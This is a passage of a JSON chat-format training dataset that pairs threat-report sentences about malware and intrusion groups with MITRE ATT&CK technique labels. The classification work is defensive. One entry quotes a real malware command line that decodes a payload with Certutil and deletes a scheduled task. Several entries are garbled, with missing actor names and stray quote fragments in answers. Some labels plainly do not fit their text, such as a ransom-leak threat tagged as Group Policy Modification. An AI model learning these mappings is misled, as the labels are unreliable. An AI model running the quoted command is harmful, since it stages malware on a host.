                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JSS Loader has the ability to download and execute PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RobbinHood uses cmd.exe on the victim's computer."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under \"HKCU\\Software\\Microsoft\\Office\\\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StreamEx establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stages collected data in a text file."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has used cmd.exe and batch scripts to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke has the ability to create a process."
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of performing remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main function within the ISMInjector assembly uses the Joiner module to construct the final payload and the Inner module to inject the final payload into a process. Figure 4 shows the ISMInjector’s main function that uses the two modules to carry out its injection process before exiting"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once a file is uploaded, Machete will delete it from the machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the Windows API to get the computer name, user name, volume serial number, Windows version, processor architecture and two additional values, which are “1.3” and “KdfrJKN”"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has relied upon users clicking on links to malicious files."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses wevtutil to clear the Windows event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has recruited target organization employees or contractors who provide credentials and approve an associated MFA prompt, or install remote management software onto a corporate workstation, allowing LAPSUS$ to take control of an authenticated system."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 maintains access to victim environments by using FLIPSIDE to create a proxy for a backup RDP tunnel."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can exfiltrate collected information from the host to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 used a PowerShell script to launch shellcode that retrieved an additional payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses rundll32 within  entries to execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has deleted files using the VBA \"kill\" function."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  file stealer can communicate over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used Python scripts to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has the capability to harvest credentials and passwords from the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the C2 server is not active at this time, the download will fail and the victim will not receive a prompt to Enable Content as no macro is downloaded"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The notes also contain a threat to leak private information that has been collected from the target if the ransom is not paid"
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification', 'T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloaded and launched code within a SCT file."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can recover hashed passwords."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has installed a Windows service to maintain persistence on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The newer versions of Valak download two payloads in the first stage. The first payload is Valak’s plugin management component (“pluginhost.exe”), and the second is the second stage JavaScript payload of Valak. In earlier versions, Valak did not include the “pluginhost” payload"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This resembled the server-side ASPX payload of the China Chopper webshell documented previously. Uploads to VirusTotal in late August 2018 resembling the same filename, iisstart.aspx, indicate the deployed webshell was likely a version of the China Chopper webshell known to have been used by several Chinese threat actors."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\\ProgramData\\Windows\\Microsoft\\java\\ v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1074 - Data Staged', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can run a command on another machine using ."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has mimicked the names of known executables, such as mediaplayer.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Racealer (aka RaccoonStealer) is known to be a stealer-type malware that mostly extracts user credentials and exfiltrates data from compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files', 'T1588.001 - Malware', 'T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ZIP file contains a single .ISO file. The use of an ISO file is an attempt to defeat the “Mark of the Web (MOTW),” which tags files as being downloaded from the internet. It subjects these files to additional security measures by Windows and endpoint security solutions."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BendyBear is designed to download an implant from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain the date and time of a system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "had exploited multiple vulnerabilities for execution, including Microsoft’s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, and CVE-2017-0199."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the investigation we discovered that the Responder tool was executed from one of the victim machines that had received the spear-phishing document. One day after the initial infection, the malware operator placed the tool onto this host and executed it using the following command"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs downloads additional files from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has used basE91 encoding, along with encryption, for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another component of the KGH suite is the m.dll module, which is an information stealer that harvest data from browsers, Windows Credential Manager, WINSCP and mail clients"
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Palo Alto Networks WildFire observed commands provided by the C2 server for the known Helminth samples. The commands, as seen below, show that the threat actors are attempting to do initial information gathering on the system, including available user accounts, username, computer name, running tasks, services, network services and if remote desktop is enabled."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1049 - System Network Connections Discovery', 'T1590 - Gather Victim Network Information', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Expand can be used to decompress a local or remote CAB file into an executable."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SecurityAssist task is responsible for running the following command line command that uses the Certutil application to decode the base64 encoded data in Base.txt and saves the decoded data to the file %PROGRAMDATA%\\IntelSecurityAssistManager.exe:cmd.exe /c Certutil -decode %appdata%\\Base.txt %programdata%\\IntelSecurityAssistManager.exe & SchTasks /Delete /F /TN SecurityAssist The macro also creates a second scheduled task named Conhost that waits two minutes and runs a VBScript %APPDATA%\\chkSrv.vbs"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used BITSadmin to download and execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses a hidden folder named \".xcassets\" and \".git\" to embed itself in Xcode."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The case we found arrived through a targeted email that contained a document file (in docx format)."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ntlmrelayx.py: This script performs NTLM Relay Attacks, setting an SMB, HTTP, WCF and RAW Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc. The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy. karmaSMB.py: A SMB Server that answers specific file contents regardless of the SMB share and pathname specified. smbserver.py: A Python implementation of an SMB server"
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, we recently disclosed the activities of one of those teams (dubbed Tsar team) surrounding the use of mobile malware. This team has previously launched campaigns targeting the United States and European intelligence communities, militaries, defense contractors, news organizations, NGOs and multilateral organizations. It has also targeted jihadists and rebels in Chechnya"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Spalax, the threat actors used droppers that would run anti-analysis checks before executing malware on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam.. In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted. . In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam.. From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the target of APT32 intrusion operations."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has packed malware payloads before delivery to victims."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this blog post, we provide an in-depth analysis of Linux/Ebury. It is a sophisticated backdoor used to steal OpenSSH credentials and maintain access to a compromised server. According to previous reports, this backdoor has been in the wild for at least two years. Linux/Ebury comes in two different shapes: a malicious library and a patch to the main OpenSSH binaries. The malicious library is a modified version of libkeyutils.so. This shared library is loaded by all OpenSSH executables files such as ssh, sshd and ssh-agent. We will describe how the backdoor works and how the OpenSSH functionalities are hooked"
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has written process names to the Registry, disabled IE browser features, deleted Registry keys, and changed the ExtendedUIHoverTime key."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT3 downloader uses the Windows command \"\"cmd.exe\" /C whoami\" to verify that it is running with the elevated privileges of “System.”"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  backdoor may collect the entire contents of an inserted USB device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom executable that only contains the Metasploit shellcode. This is used to maintain access to a Meterpreter session. It is saved to C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&amp;C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has named binaries and configuration files svhost and dllhost respectively to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this attack, spear phishing was used as the initial infection vector. Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company"
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The server-side component provides a simple graphical user interface for threat actors interacting with web shells"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Patchwork file stealer can run a TaskScheduler DLL to add persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY can use an embedded RSA-2048 public key to encrypt victim data for ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 then created a WMI event subscription in order to execute the backdoor"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These commands allow the threat group to gain information about the compromised computer and the network to which it belongs. Using this information, they can decide to explore further or instruct the compromised computer to download additional malware"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery', 'T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them. If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes"
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some attacks, Whitefly has used a second piece of custom malware, Trojan.Nibatad. Like Vcrodat, Nibatad is also a loader that leverages search order hijacking, and downloads an encrypted payload to the infected computer. And similar to Vcrodat, the Nibatad payload is designed to facilitate information theft from an infected computer"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
